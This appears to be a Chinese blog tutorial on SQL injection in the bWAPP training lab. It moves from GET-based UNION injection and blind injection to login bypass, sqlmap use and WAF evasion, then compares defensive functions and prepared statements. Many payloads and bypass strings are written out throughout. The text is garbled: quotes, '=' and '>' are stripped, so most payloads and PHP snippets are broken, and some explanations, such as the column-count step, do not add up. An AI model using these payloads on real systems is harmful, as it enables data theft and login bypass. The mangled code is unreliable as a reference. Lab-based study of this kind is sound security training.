bWAPP 靶场 3 类 SQL 注入实战:从 GET 到盲注,5 种防御函数深度解析

发布时间:2026/7/12 1:21:26
bWAPP 靶场 3 类 SQL 注入实战:从 GET 到盲注,5 种防御函数深度解析 bWAPP 靶场 3 类 SQL 注入实战从 GET 到盲注5 种防御函数深度解析1. SQL 注入基础与 bWAPP 环境准备SQL 注入作为 OWASP Top 10 长期占据榜首的漏洞类型其危害性不言而喻。bWAPP 作为一款专为 Web 安全学习设计的漏洞演示平台提供了从低到高三种安全级别的 SQL 注入场景是理解攻击原理和防御机制的绝佳实验环境。在开始实战前我们需要完成以下准备工作环境部署bWAPP 支持多种部署方式推荐使用 Docker 快速搭建docker pull raesene/bwapp docker run -d -p 80:80 raesene/bwapp访问http://localhost/install.php完成安装默认账号为bee/bug安全级别设置登录后通过右上角的安全级别下拉菜单可切换漏洞难度Low无任何防护Medium基础过滤High高级防护靶场导航在 Choose your bug 下拉菜单中搜索以下关键漏洞SQL Injection (GET/Search)SQL Injection (GET/Select)SQL Injection (Login Form/Hero)提示实验前建议使用 Firefox Burp Suite 组合方便拦截和修改请求。2. GET 型 SQL 注入实战分析2.1 低安全级别下的基础注入在低安全级别下bWAPP 的sqli_1.php页面存在典型的字符型注入漏洞。攻击步骤如下探测注入点在搜索框输入单引号观察是否报错SELECT * FROM movies WHERE title LIKE %%若返回数据库错误信息确认存在注入。确定字段数使用ORDER BY子句逐步测试 ORDER BY 5--当数字超过实际列数时会报错由此确定结果集包含 7 个字段。联合查询获取数据构造 UNION 查询获取数据库信息test UNION SELECT 1,database(),3,4,5,6,7--关键函数说明database()当前数据库名version()数据库版本user()当前用户2.2 中安全级别的绕过技巧当安全级别设为 Medium 时系统使用addslashes()函数进行过滤function sqli_check_1($data) { return addslashes($data); // 转义 \ NULL }突破方法编码绕过对特殊字符进行 URL 编码%27%20UNION%20SELECT%201,version(),3,4,5,6,7--二次注入当数据被多次处理时可能产生漏洞admin AND 10 UNION SELECT 1,table_name,3 FROM information_schema.tables--2.3 高安全级别的防御机制高安全级别采用mysql_real_escape_string()配合预处理语句function sqli_check_3($link, $data) { return mysqli_real_escape_string($link, $data); }此时常规注入基本失效但以下情况仍可能存在风险错误使用宽字符集如 GBK动态列名/表名拼接二次解析场景3. 盲注攻击的进阶技术当页面不返回详细错误信息时需要采用盲注技术。bWAPP 的sqli_4.php提供了理想的实验场景。3.1 布尔盲注实战步骤判断注入类型输入1 AND 11--和1 AND 12--观察响应差异逐字符提取数据使用SUBSTRING()和ASCII()函数 AND ASCII(SUBSTRING(database(),1,1))100--自动化工具使用sqlmap 命令示例sqlmap -u http://target/sqli_4.php?titletestactionsearch --cookiePHPSESSIDxxx; security_level0 --techniqueB --dbs3.2 时间盲注技巧当布尔判断不可行时采用时间延迟 AND IF(ASCII(SUBSTRING(database(),1,1))100,SLEEP(5),0)--关键函数对比函数MySQLPostgreSQLSQL Server延迟执行SLEEP(n)PG_SLEEP(n)WAITFOR DELAY 0:0:n条件判断IF()CASE WHENIIF()4. 登录表单的 SQL 注入bWAPP 的登录页面 (sqli_2.php) 展示了认证绕过技术4.1 经典万能密码用户名admin-- 密码任意实际执行的 SQLSELECT * FROM users WHERE loginadmin-- AND password...4.2 密码字段注入当用户名被严格过滤时可尝试密码字段用户名admin 密码 OR 114.3 防御措施对比不同安全级别的防护代码// Low: 无防护 $sql SELECT * FROM users WHERE login$login AND password$password; // Medium: addslashes $login sqli_check_1($login); $password sqli_check_1($password); // High: 预处理语句 $stmt $link-prepare(SELECT * FROM users WHERE login? AND password?); $stmt-bind_param(ss, $login, $password);5. 防御机制深度解析5.1 五种防御函数对比防御方式原理说明转义字符优点局限性addslashes()转义单引号等特殊字符 \ NULL简单易用无法防御数字型注入mysql_real_escape_string考虑字符集的转义函数同上宽字节更安全需数据库连接htmlspecialchars()转义HTML特殊字符 防XSS不防SQL注入预处理语句查询与数据分离自动处理最安全需重构代码白名单过滤只允许特定字符自定义灵活性高维护成本高5.2 预处理语句最佳实践PHP 中的正确实现方式// MySQLi 方式 $stmt $conn-prepare(SELECT * FROM users WHERE email ?); $stmt-bind_param(s, $email); $stmt-execute(); // PDO 方式 $stmt $pdo-prepare(SELECT * FROM users WHERE email :email); $stmt-execute([email $email]);5.3 深度防御策略输入验证if (!preg_match(/^[a-z0-9_]$/i, $input)) { die(Invalid input); }最小权限原则CREATE USER applocalhost IDENTIFIED BY password; GRANT SELECT ON app_db.* TO applocalhost;Web 应用防火墙规则示例 ModSecurity 规则SecRule ARGS detectSQLi id:1000,deny,status:4036. 实战经验与疑难解答在真实渗透测试中遇到几个典型问题过滤逗号的情况使用JOIN替代UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)cWAF 绕过技巧大小写变形SeLeCt内联注释/*!SELECT*/空白符替代SELECT%0bidSQLite 特殊语法bWAPP 的 SQLite 注入需要访问sqlite_master UNION SELECT 1,sql,3 FROM sqlite_master--对于想深入研究的读者建议在虚拟机中搭建环境时注意使用 PHP 5.x 版本保持兼容性修改admin/settings.php中的数据库配置高难度注入建议结合 Burp Intruder 进行自动化测试